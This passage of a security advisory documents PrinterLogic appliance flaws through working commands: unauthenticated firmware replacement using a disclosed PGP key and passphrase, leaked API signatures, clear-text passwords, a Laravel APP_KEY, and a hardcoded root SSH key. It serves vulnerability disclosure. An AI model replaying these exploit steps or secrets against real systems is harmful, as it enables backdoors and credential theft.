keDq83IP/i/j9J+3tYjIckyj42Q51MD6gfpAQ7F1FSzp2HuUgduz3tsxE1kfXv/u
cWnetdzL+/JVx4tA+RfuKzVQl8jQWLJ1Q1ZgfUOJ76oALLbvwlErI0WwT6uAkVJs
ROcUMpTXMPEDPVx7441EAVaC5wlN80xWw0SziUyCZq0FACsxIiL+oYvY/RCyruwm
HxapaR03K4puGmqXqlWsfAN8yaEap3uadwBi2ew4bPUKJ4yTOVj7SE49DuHdvqkS
Y36u1fzWhH1aMBi88dpAW4wxuBe1Qc15HtUlAztH4muA5Vc4CATlCd97xA6t9Qi9
cS/s7ZA01zZmFIhQUGqD/qoADD+7XedIBJ8NC5NDlHhGcMM9W/+l/d2M7jdz3qpY
lR3uzBI0Ajw/auCmDBg1j8195EGdqnxhPmW5cteNF69d5usZW3IGSEW9fSX899co
H8HVw6UV3Ldm7GsijO7luLbDCnBtHwFrIVD04cPVjhKpxwiEgKatooHnZx++KmFW
Mv2/3FTVLP7ZXRrFiRPdMIVgeCW311bxfmSJCncW+2dGse4J4Bpa7gnb7UomZrd4
bk1THJfXL/nFzyOWp3DigjJVZfMRO4dJye8eEwbire6bzl5GjGhBcElPUTPb+ezz
z0nU6w8u/i/8T2wiVGphhM1/C4SOTntnbM3+nJRmLWlaqIIg7dTDCRAJvZ42faEJ
mDbYD/4qJnD4O+VlXB12w5aQnwWR4bZo2501r5kG5/IRwyMz4/dgaUxlNY9ONWmU
elyAUmFjWSO//He1Ewze1Q59U7hsu+csRkN4xyxZ+78t6xIrkPtPlbLurkVDN/lZ
4OPnLAiv0CUenzs6CZqYu2h0vKTCrN6F7d7euADqw0JcsfitARdz5uhFGuqeei2z
Ry8BVwzDrzxtm1bF05lTmGq46/9MgsHcEK8cZDQmum99O5MM2mqqouPY5EV5pN7u
O2DByEjYzDy/vfu0wd1v1Iqqa46GCTO8z1Q3napY0TaYLNSLvPG4ltatLsDEU8V8
eOs1MUIF78qnoefYweo3dmPjCyfJIFMlV1a1zcmST3k8E0oVp2JSGlivHhvkkgjJ
PYlJzyWq7m5Et8gZZvO2+SQSkBshr4AjuZxkq9IvV/O6mT0pcnnDz7ibVBzeIVfK
WXdqITklX8/zdo4+sY42nWpgc8v5juc56MVYgHP/XnXRkw9EWrb1ZTLxAz7FZQF5
J9EmVEq0tqQHUhs5PMK43IXoEC7fsH1K5QL/g5TtMvFeDPE2QmDKwZ+s0w+c9W3N
guUrZhoJgJoEuEwJ4t02ZitqGat5bv9Ci1WGq5R2KY8YFe0ADeYNKiMN3hcpvCFM
aUwT1HaNmfV2JoxAbj8HVGZYZ5Yrs0wsCz+ZaU3wzmtdpEl54w==
=/L1e
-----END PGP PRIVATE KEY BLOCK-----

kali% echo "From https://help.printerlogic.com/va/1-Printerlogic/Release_Notes/VA_Latest_App_Builds.htm" &gt; /dev/null
kali% wget https://appliance-cdn.printercloud.com/virtual-appliance-services/releases/20.0.2140/20.0.2140.gpg
--2023-12-26 08:16:04--  https://appliance-cdn.printercloud.com/virtual-appliance-services/releases/20.0.2140/20.0.2140.gpg
Resolving appliance-cdn.printercloud.com (appliance-cdn.printercloud.com)... 18.172.21.87, 18.172.21.120, 18.172.21.22, ...
Connecting to appliance-cdn.printercloud.com (appliance-cdn.printercloud.com)|18.172.21.87|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4953834807 (4.6G) [binary/octet-stream]
Saving to: '20.0.2140.gpg'
20.0.2140.gpg                                        100%[======================================================================================================================&gt;]   4.61G  14.6MB/s    in 6m 0s

2023-12-26 08:22:06 (13.1 MB/s) - '20.0.2140.gpg' saved [4953834807/4953834807]
kali% gpg 20.0.2140.gpg
+-------------------------------------------------------------------------------------+
| Please enter the passphrase to unlock the OpenPGP secret key:                       |
| "PrinterLogic Virtual Appliance Team &lt;no-reply+virtual-appliance@printerlogic.com&gt;" |
| 4096-bit RSA key, ID FCF4134A2496B21A,                                              |
| created 2020-01-23 (main key ID 09BD9E367DA10998).                                  |
|                                                                                     |
|                                                                                     |
| Passphrase: 50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4___________________________________ |
|                                                                                     |
|            &lt;OK&gt;                                                   &lt;Cancel&gt;          |
+-------------------------------------------------------------------------------------+
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
      "PrinterLogic Virtual Appliance Team &lt;no-reply+virtual-appliance@printerlogic.com&gt;"
gpg: Signature made Mon Nov 27 18:35:49 2023 EST
gpg:                using RSA key 12FAF9092BFFB99A9751B92C890869BDA791E0EA
gpg:                issuer "no-reply+virtual-appliance@printerlogic.com"
gpg: Good signature from "PrinterLogic Virtual Appliance Team &lt;no-reply+virtual-appliance@printerlogic.com&gt;" [ultimate]
kali% ls -la
total 9672300
drwxr-xr-x 2 user user       4096 Dec 26 08:26 .
drwxr-xr-x 4 user user       4096 Dec 26 08:26 ..
-rw-r--r-- 1 user user 4950580344 Dec 26 08:25 20.0.2140
-rw-r--r-- 1 user user 4953834807 Dec  1 12:33 20.0.2140.gpg
kali% mkdir malicious-image &amp;&amp; cd malicious-image &amp;&amp; xzcat ../20.0.2140 | tar xvf -
versions.env
images.tar
pi-binaries.tar
kali% cat versions.env 
DOCKER_TAG_ADT="v1.0.161"
DOCKER_TAG_DOC="v1.0.176"
DOCKER_TAG_SES="v1.0.176"
DOCKER_TAG_STORAGE="v1.0.382"
DOCKER_TAG_TMS="v1.0.57"
DOCKER_TAG_POSTGRESTDE="15.4.7"
DOCKER_TAG_UNLEASH_VA_GW="1.0.34"
[...]
</code></pre>
<p>The files can be edited and the new malicious archive can be generated using this command:</p>
<pre><code>kali% tar cvf - versions.env images.tar pi-binaries.tar | xz - | gpg --encrypt -r no-reply+virtual-appliance@printerlogic.com -&gt; malicious.gpg
versions.env
images.tar
pi-binaries.tar
kali% ls -la malicious.gpg 
-rw-r--r-- 1 user user 4521768092 Dec 26 09:46 malicious.gpg
</code></pre>
<p>Then, the file can be uploaded using this custom webpage (the address must be adapted to contain the confidential tokens obtained from the <code>/admin/design/management_accountts_pcabout.php</code> webpage):</p>
<p>Custom HTML webpage to upload a malicious firmware image:</p>
<pre><code>&lt;html&gt;
&lt;head&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;form action="http://gw.10.105.0.60/va-api/v1/update/1?sign=$2y$10$5kBEYJOxGtR1ydzZRIFYPO9WpXrCs10qUsDv4F7wAEw18kLhqWAau&amp;timeStamp=2024-01-04%2019:39:13" method="POST" enctype="multipart/form-data"&gt;
&lt;input type="file" name="package"&gt;
&lt;input type="submit"&gt;
&lt;/form&gt;
&lt;/body&gt;
</code></pre>
<p>Custom HTML webpage to upload a malicious firmware image
<img alt="" src="images/2025-vasion-report-2-rce-upload-01.png" /></p>
<p>Upload done through the custom HTML webpage
<img alt="" src="images/2025-vasion-report-2-rce-upload-02.png" /></p>
<p>We can then start the update process using this curl command (using the same signature and same timestamp obtained previously).</p>
<p>Start of the installation process:</p>
<pre><code>kali% curl -X POST -kv 'http://gw.10.105.0.60/va-api/v1/update?version=1&amp;sign=$2y$10$5kBEYJOxGtR1ydzZRIFYPO9WpXrCs10qUsDv4F7wAEw18kLhqWAau&amp;timeStamp=2024-01-04%2019:39:13' 
* Host gw.10.105.0.60:80 was resolved.
* IPv6: (none)
* IPv4: 10.105.0.60
*   Trying 10.105.0.60:80...
* Connected to gw.10.105.0.60 (10.105.0.60) port 80
&gt; POST /va-api/v1/update?version=1&amp;sign=$2y$10$5kBEYJOxGtR1ydzZRIFYPO9WpXrCs10qUsDv4F7wAEw18kLhqWAau&amp;timeStamp=2024-01-04%2019:39:13 HTTP/1.1
&gt; Host: gw.10.105.0.60
&gt; User-Agent: curl/8.5.0
&gt; Accept: */* 
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Access-Control-Allow-Headers: *
&lt; Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
&lt; Access-Control-Allow-Origin: *
&lt; Cache-Control: no-cache, private
&lt; Content-Length: 9
&lt; Content-Type: application/json
&lt; Date: Thu, 04 Jan 2024 19:49:36 GMT 
&lt; Server: nginx
&lt; 
* Connection #0 to host gw.10.105.0.60 left intact
"Success"
</code></pre>
<p>When watching the appliance, we can see that the update process is running and the malicious firmware image is installed:</p>
<pre><code>root@printerlogic:/var/www/efs_storage/.updates# ps -auxww|grep gpg 
ubuntu    158698 57.6  0.0   5000  3060 ?        DL   19:50   0:15 gpg --pinentry-mode loopback --passphrase-fd 0 --output 1/1.tar.xz --decrypt /var/www/efs_storage/.updates/1.gpg
ubuntu    158725  0.5  0.0   2708   844 ?        Ssl  19:50   0:00 gpg-agent --homedir /home/ubuntu/.gnupg --use-standard-socket --daemon
root      163318  0.0  0.0   6608  2264 pts/2    S+   19:50   0:00 grep --color=auto gpg
</code></pre>
<p>An attacker can install backdoor without authentication in a PrinterLogic instance.</p>
<p>An attacker can get Remote Code Execution in a PrinterLogic instance.</p>
<p>The update process is reachable without admin privileges. </p>
<p><a id="va-rce-03"></a></p>
<h2>Details - Remote Code Execution and Leak of passwords using APIs</h2>
<p>It was observed that an attacker can exfiltrate passwords from the appliance by sending specific HTTP requests to the <code>/va-api</code> API endpoints.</p>
<p>Such APIs are incorrectly protected over the network:</p>
<ul>
<li>These API endpoints are exposed to the network without authentication;</li>
<li>Clear-text and valid credentials are freely displayed by the APIs.</li>
</ul>
<p>The <code>APP_KEY</code> variable used for Laravel is leaked and can be used to get Remote Code Execution against the instance of PrinterLogic. Remote Code executions using <code>APP_KEY</code> is possible (e.g. <a href="https://mogwailabs.de/en/blog/2022/08/exploiting-laravel-based-applications-with-leaked-app_keys-and-queues/">https://mogwailabs.de/en/blog/2022/08/exploiting-laravel-based-applications-with-leaked-app_keys-and-queues/</a>).</p>
<p>PoC - Extraction of a valid signature without authentication by visiting /admin/design/management_accountts_pcabout.php, without authentication:</p>
<pre><code>kali% curl -kv http://10.105.0.60/admin/design/management_accountts_pcabout.php
*   Trying 10.105.0.60:80...
* Connected to 10.105.0.60 (10.105.0.60) port 80
&gt; GET /admin/design/management_accountts_pcabout.php HTTP/1.1
[...]

    date='12/13/2023'
    updateAvailable=''
    apiSign='$2y$10$G6ykZQ5JwnrxCIiGLqEoA.MCQ6AmQAxSfSLk3dlnc5rwYH/o.0/OG'
    apiTimeStamp='2023-12-26 13:03:46'
    gwUrl='http://gw.10.105.0.60'
[...]
</code></pre>
<p>The <code>/va-api/v1/storage/secrets.env</code> API provides clear-text passwords when using the previously public <code>apiSign</code> and <code>apiTimeStamp</code> variables:</p>
<p>Leak of passwords
<img alt="" src="images/2025-vasion-report-2-leak-passwords-01.png" /></p>
<p><a href="images/2025-vasion-report-2-leak-passwords-01-full.png">Click here for full image</a></p>
<p>The <code>/va-api/v1/services</code> API also provides clear-text passwords.</p>
<p>The <code>APP_KEY</code> variable is used by Laravel. An attacker knowing this variable can get Remote Code Execution against PrinterLogic:</p>
<p>Leak of passwords
<img alt="" src="images/2025-vasion-report-2-leak-passwords-02.png" /></p>
<p><a href="images/2025-vasion-report-2-leak-passwords-02-full.png">Click here for full image</a></p>
<p>HTTP request disclosing passwords:</p>
<pre>
GET /va-api/v1/storage/secrets.env?sign=$2y$10$HfXU5jgVFNx2hr6sxK730uvZBi/qEtAmeuHd7IUxFcYmooZryG81O&timeStamp=2023-12-28%2011:32:43 HTTP/1.1
Host: gw.10.105.0.60
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */* 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------190670500540510886892839752320
Content-Length: 0
Origin: http://10.105.0.60
Connection: close
Referer: http://10.105.0.60/

HTTP/1.1 200 OK
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-cache, private
Content-Type: text/plain; charset=utf-8
Date: Thu, 28 Dec 2023 11:36:22 GMT 
Server: nginx
Connection: close
Content-Length: 3517

#########
#   This file contains configuration variables that may be customized to suit your environment.
#   Changes to values in this file are monitored for periodic updates and may not be reflected immediately in the product.
#   Most updates should propagate within several minutes, although it may take up to 30 minutes for changes to be applied.
#   Rebooting the appliance may also trigger an update.
##########
#
#   * PRINTERCLOUD_DOMAIN (required)
#   This should be the base domain used to reach your product.  For example, if your instance is reached via 
#   "printers.mycompany.com" this value would be "printers.mycompany.com"
[...]
########### VALUES
DB_DATABASE="app_pi"
<font color=red>DB_PASSWORD="xg1o6iReDLcyGIBvZMbr"</font>
DB_PORT=3306
DB_USERNAME="admin"
PRINTERCLOUD_DOMAIN="10.105.0.60"
<font color=red>SAMBA_PASSWORD="6QOjoEKpcWrEJqILbwox"</font>
</pre>

<p>HTTP request disclosing passwords:</p>
<pre>
GET /va-api/v1/services?sign=$2y$10$w..pLsnjlsP6bY43oMm/.epXaRjdSA2no7AhfpKkfTcrT4UJDM9bG&timeStamp=2023-12-29%2013:19:41 HTTP/1.1
Host: gw.10.105.0.60
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17749310539621720221197883675
Content-Length: 0
Origin: http://10.105.0.60
Connection: close
Referer: http://10.105.0.60/

HTTP/1.1 200 OK
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-cache, private
Content-Length: 684
Content-Type: application/json
Date: Fri, 29 Dec 2023 13:20:34 GMT
Server: nginx
Connection: close

[
  {
    "name": "database",
    "status": "not ready",
    "properties": {
      "database": "",
      "host": "",
      "password": "",
      "port": "",
      "ssl_ca": "false",
      "ssl_strict": "true",
      "username": ""
    }
  },
  {
    "name": "settings",
    "status": "not ready",
    "properties": {
      "auto_update": "0",
      "auto_update_schedule": "",
      "deployment_environment": "prod",
      "domain": "",
      "license": "false",
      "piv_cac": "false",
      "samba_pass": "",
      "ssl_cert": "false",
      "ssl_key": "false",
      "ssl_terminated": "0"
    }
  },
  {
    "name": "migration",
    "status": "not ready",
    "properties": {
<font color=red>      "app_key": "YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf",</font>
      "database": "",
      "host": "",
      "password": "",
      "port": "",
      "progress": "pending",
      "username": ""
    }
  },
  {
    "name": "storage",
    "status": "ready",
    "properties": {
      "type": "vdisk",
      "vdisk_status": "ready"
    }
  }
]
</pre>

<p>Using a shell inside the targeted PrinterLogic instance, we can confirm that the <code>APP_KEY</code> is valid and is currently being used.</p>
<p>Analysis of the PrinterLogic VA version:</p>
<pre><code>root@printerlogic:/home/debug# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $2 }'); docker exec -it $i env | grep APP_KEY;done
ID
printerlogic/ofn:1.134.7
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/oncp-hold:v1.0.171
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/client:25.1.0.652
printerlogic/va-cdn:0.0.1090
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/sched:1.0.20
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/oncp-ofn:v1.0.16
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/prs:1.0.7
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/cat:1.0.72
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/authn:1.16.0
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/tree:1.0.10
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/printer:v1.1.86
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/pi:5.0.8085-p2
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/client-socket-server:1.0.7
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/identity:v1.0.425
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
APP_KEY_USERS=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/pi:5.0.8085-p2
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/scim:1.0.66
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/gw-api:1.0.61
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/eb:0.0.8
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/tms:v1.0.57
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/va-api:1.1.211
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/adt:v1.0.161
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/users:5.207.3
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/users:5.207.3
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/pi:5.0.8085-p2
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/client-api:1.0.28
[...]
</code></pre>
<p>An attacker can get Remote Code Execution in a PrinterLogic instance.</p>
<h2>Vulnerabilities affecting PrinterLogic SaaS / PrinterLogic VA</h2>
<h2>Identification of the solution</h2>
<p>The audited PrinterLogic version is 22.0.893 from December 2023.</p>
<p>The audited host version is 1.0.730.</p>
<p>This PrinterLogic version has been retrieved from https://help.printerlogic.com/va/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm (OpenBuild 22.0.893: December 1st, 2023).</p>
<p>Checksum of the audited version:</p>
<pre><code>b06c9938b8ec5fd47a41fb7188d8e50fd9bac727a2ac0e84e4719524a124f744  printerinstaller-22.0.893.ova
</code></pre>
<p>The solutions use several Docker instances - all the instances have been made up to date, as shown below:</p>
<p>Printerlogic VA version 
<img alt="" src="images/2025-vasion-report-2-local-version-01.png" /></p>
<p>Printerlogic SaaS version on [redacted].printerlogic10.com 
<img alt="" src="images/2025-vasion-report-2-saas-version.png" /></p>
<p><a id="va-undocumented-hardcoded-ssh-key"></a></p>
<h2>Details - Undocumented hardcoded SSH key</h2>
<p>The appliance contains an undocumented user (<code>printerlogic</code>) with a hardcoded SSH key.</p>
<p>Public SSH key for the printerlogic user:</p>
<pre><code>root@printerlogic:/home/printerlogic# pwd 
/home/printerlogic
root@printerlogic:/home/printerlogic# find .
.
./.profile
./.ssh
./.ssh/authorized_keys
./.bashrc
./.bash_logout
root@printerlogic:/home/printerlogic# cat ./.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw+sKOEvtwR/sOlzWKmZkiRfoZs9Atdm5EVIdSADiOGstscYFmXB12a6BlHptBziq2Z9NUHoRfAS923Mgk9KdGhK/0qIheyLuFks1uLve2MiIkwO4hb72AtwN8ceecJSBu6FvOq0LMEMl1PX3sNt1Yu+CFIAUfr47P6ja2y1qmW9Mj9pGGLafXFuP49D1bZ5wnZ/XVusHHyHqOOA4D1IMAxP7YqhbM6FekE9oiQqX3r//ci5YtG+yzbCcLSBjIOxVpRDFX9/0AKYzeC5DiKkQ8if+xyND0cS1kI/D5NQ5Q/NIttoQRMETv8jXDhycUrZPEOEaP4ODWj0wRD/rtTwkV12Kf9i0hxmKxh2TH7LXBEjlq6xo7w9GLSapyV2AREP94NoZjL7GAPIdz3JneiyOvb/pcCR8xjHijlr8WXk9M0ZK2Ma29KCAl4ZLPC3z43psJyYLDXmJOrIsJNE4bnBaBuWADZPKYPC54WzqpTjmp1wObQT+Jbecf/GYj0rqj2GSqu2Ij8fBKS4rJ/2aee3afLwbsYVqz/g0x4qaOZo+X6DcrvLErbgERs471k80QMWOhLbOCYtIAEcZI2gnhD3ZMZXc790sp1PC2WXD2dZFEXBqLTMIKdaIL2Nc/XCt6TYZpcfvt49S6p3KiTtN9BrfPhyINof8DbzHL2d4dL0q6/Q== Virtual Appliance Development Key 
root@printerlogic:/home/printerlogic#
</code></pre>
<p>This account is undocumented. Futhermore, it has root privileges with sudo, without the password being requested:</p>
<pre><code>root@printerlogic:~# grep printerlogic /etc/group
printerlogic_ssh:x:1001:printerlogic
printerlogic:x:1002:
root@printerlogic:~# grep printerlogic /etc/sudoers
%printerlogic_ssh ALL=(ALL) NOPASSWD: ALL
root@printerlogic:~#
</code></pre>
<p>An attacker who has the corresponding SSH key will get root access to the appliance.</p>
<p><a id="va-exposed-docker-instances"></a></p>
<h2>Details - Internal Docker instances exposed on the LAN and the Internet</h2>
<p>It was observed that some Docker instances are exposed on the network and the Internet through the gw Docker instance.</p>
<p>Since these instances are directly reachable from the Internet without ACL and without authentication, the resulting attack surface is enormous.</p>
<p>For example, the <code>http://gw.10.105.0.60/meta</code> URL in the VA version will list the reachable Docker instances.</p>
<p>In the SaaS version, we can list reachable Docker instance by visiting <code>https://gw.app.printercloud10.com/meta</code>. These Docker instances are reachable through <code>https://gw.app.printercloud10.com/[docker-name]/[apis]</code>.</p>
<p>https://gw.app.printercloud10.com/meta:
<img alt="" src="images/2025-vasion-report-2-exposure-docker-instances.png" /></p>
<p><a href="images/2025-vasion-report-2-exposure-docker-instances-full.png">Click here for full image</a></p>
<p>PoC:</p>
<pre><code>GET /meta HTTP/2
Host: gw.app.printercloud10.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

{
  "authn": {
    "meta": {
      "name": "Authentication Microservice",
      "version": "1.21.6",
      "releaseDate": "2024-01-03T02:30:59Z"
    }
  },
  "br": {
    "meta": {
      "name": "Badge Reader Microservice",
      "version": "1.0.78",
      "releaseDate": "2023-03-13T18:57:29Z"
    }
  },
  "cat": null,
  "cl": null,
  "cpp-ui": {
    "meta": {
      "name": "Control Panel Platform UI",
      "version": "1.153.102",
      "releaseDate": "2023-12-12T19:20:04Z"
    }
  },
  "ebc": {
    "meta": {
      "name": "External Badge Connector Microservice",
      "version": "1.0.34",
      "releaseDate": "2021-03-31T21:10:36Z"
    }
  },
  "gw": {
    "meta": {
      "name": "API Gateway Microservice",
      "version": "1.308.3",
      "releaseDate": "2023-09-08T21:37:44Z"
    }
  },
  "identity": {
    "meta": {
      "name": "Identity Microservice",
      "version": "v1.0.530",
      "releaseDate": ""
    }
  },
  "idpi": {
    "meta": {
      "name": "IDP Integrations Microservice",
      "version": "1.0.8",
      "releaseDate": "2023-03-21T22:07:50Z"
    }
  },
  "oidc": null,
  "pq": {
    "meta": {
      "name": "Print Queue Microservice",
      "version": "5.0.195",
      "releaseDate": "2023-12-22T00:10:15Z"
    }
  },
  "printerinstaller": {
    "meta": {
      "name": "PrinterInstaller",
      "instanceUrl": "http://pi.printercloud:8042",
      "siteId": "printerlogic",
      "tenantId": "107",
      "apiUrl": "https://printerlogic.printercloud10.com",
      "agentUrl": "https://agent-api.app.printercloud10.com",
      "version": "5.0.8220",
      "releaseDate": "2023-12-26T22:52:53Z"
[...]
</code></pre>
<p>An attacker can interact with internal Docker instances.</p>
<p><a id="va-exposed-upload-docker-instance"></a></p>
<h2>Details - Docker instance used to upload clients reachable from the Internet and the LAN</h2>
<p>It was observed that the Docker instance used to upload the Windows/MacOS/Linux clients is reachable from the LAN (for PrinterLogic VA) and from the Internet (for the SaaS version).</p>
<p>When analyzing the API of <code>gw.app.printercloud10.com</code>, it appears that the Windows/Mac clients are managed by the Docker instance <code>printerlogic/agent-api</code>:</p>
<p><code>https://gw.app.printercloud10.com/meta</code>:</p>
<pre><code>GET /meta HTTP/2
Host: gw.app.printercloud10.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

{
[...]
  "printerinstaller": {
    "meta": {
      "name": "PrinterInstaller",
      "instanceUrl": "http://pi.printercloud:8042",
      "siteId": "printerlogic",
      "tenantId": "107",
      "apiUrl": "https://printerlogic.printercloud10.com",
      "agentUrl": "https://agent-api.app.printercloud10.com",
      "version": "5.0.8220",
      "releaseDate": "2023-12-26T22:52:53Z"
    }
  },
[...]
}
</code></pre>
<p>This docker instance also runs inside the VA version:</p>
<pre><code>root@printerlogic:/home/debug# docker ps|grep agent
e540505060c2   printerlogic/agent-api:v1.0.169           "/opt/entrypoint.sh "   2 hours ago      Up 2 hours (healthy)
</code></pre>
<p>It appears that this Docker instance is used to upload new versions of clients.</p>
<p>Access to <a href="https://agent-api.app.printercloud10.com">https://agent-api.app.printercloud10.com</a>:</p>
<pre><code>kali% curl -kv https://agent-api.app.printercloud10.com/
*   Trying 13.55.51.178:443...
* Connected to agent-api.app.printercloud10.com (13.55.51.178) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN: server accepted h2
* Server certificate:
*  subject: CN=printercloud10.com
*  start date: Dec 21 00:00:00 2023 GMT
*  expire date: Jan 18 23:59:59 2025 GMT
*  issuer: C=US; O=Amazon; CN=Amazon RSA 2048 M02
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* using HTTP/2
* [HTTP/2] [1] OPENED stream for https://agent-api.app.printercloud10.com/
* [HTTP/2] [1] [:method: GET]
* [HTTP/2] [1] [:scheme: https]
* [HTTP/2] [1] [:authority: agent-api.app.printercloud10.com]
* [HTTP/2] [1] [:path: /]
* [HTTP/2] [1] [user-agent: curl/8.4.0]
* [HTTP/2] [1] [accept: */*]
&gt; GET / HTTP/2
&gt; Host: agent-api.app.printercloud10.com
&gt; User-Agent: curl/8.4.0
&gt; Accept: */*
&gt; 
&lt; HTTP/2 404 
&lt; date: Wed, 03 Jan 2024 11:40:53 GMT
&lt; content-type: text/plain
&lt; content-length: 18
&lt; 
* Connection #0 to host agent-api.app.printercloud10.com left intact
404 page not found
kali%
</code></pre>
<p>The <code>/opt/api</code> server running inside the <code>printerlogic/agent-api</code> Docker instance has the same behavior.</p>
<p><code>/opt/api</code> program running inside the <code>printerlogic/agent-api</code> Docker instance:</p>
<pre><code>root@printerlogic:/home/debug# docker ps | grep agent-api
e540505060c2   printerlogic/agent-api:v1.0.169           "/opt/entrypoint.sh "   3 hours ago          Up 3 hours (healthy)                                                                                     printercloud_agent-api.lk6nfgkbi705w15yp8iqshxpz.h05rvwhql4l45y0dykva06t9e
root@printerlogic:/home/debug# docker exec -it e540505060c2 ps -a
PID   USER     TIME  COMMAND
    1 root      1:33 /opt/api
 6762 root      0:00 ps -a
root@printerlogic:/home/debug# docker inspect --format "{{ .State.Pid }}" e540505060c2
9359
root@printerlogic:/home/debug# nsenter -n -t 9359
root@printerlogic:/home/debug# curl -kv http://127.0.0.1/
*   Trying 127.0.0.1:80...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
&gt; GET / HTTP/1.1
&gt; Host: 127.0.0.1
&gt; User-Agent: curl/7.81.0
&gt; Accept: */*
&gt; 
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 404 Not Found
&lt; Content-Type: text/plain
&lt; Date: Wed, 03 Jan 2024 11:42:59 GMT
&lt; Content-Length: 18
&lt; 
* Connection #0 to host 127.0.0.1 left intact
404 page not found
root@printerlogic:/home/debug#
</code></pre>
<p>Due to the lack of time spent for analysis, considering the size of the binary and the complexity of the generated pseudo-code, the API endpoints were not identified but it is very likely that this program supports uploading new clients.
The program contains ~ 26,000 functions and since the program uses the Go Gin web framework, it is very hard to track cross-references to interesting functions. This analysis was too time-consuming and was not done in-depth.</p>
<p>Decompilation of /opt/api
<img alt="" src="images/2025-vasion-report-2-ida-opt-api.png" /></p>
<p>An attacker may be able to upload Windows and MacOS clients.</p>
<p>An attacker who can spend enough time will do reverse engineering against this program to find vulnerabilities.</p>
<p><a id="va-api-leak"></a></p>
<h2>Details - Unauthenticated API leaking group information</h2>
<p>It was observed that the <code>/api-gateway/identity/search-groups</code> API is insecure - this API will display information about group without authentication.</p>
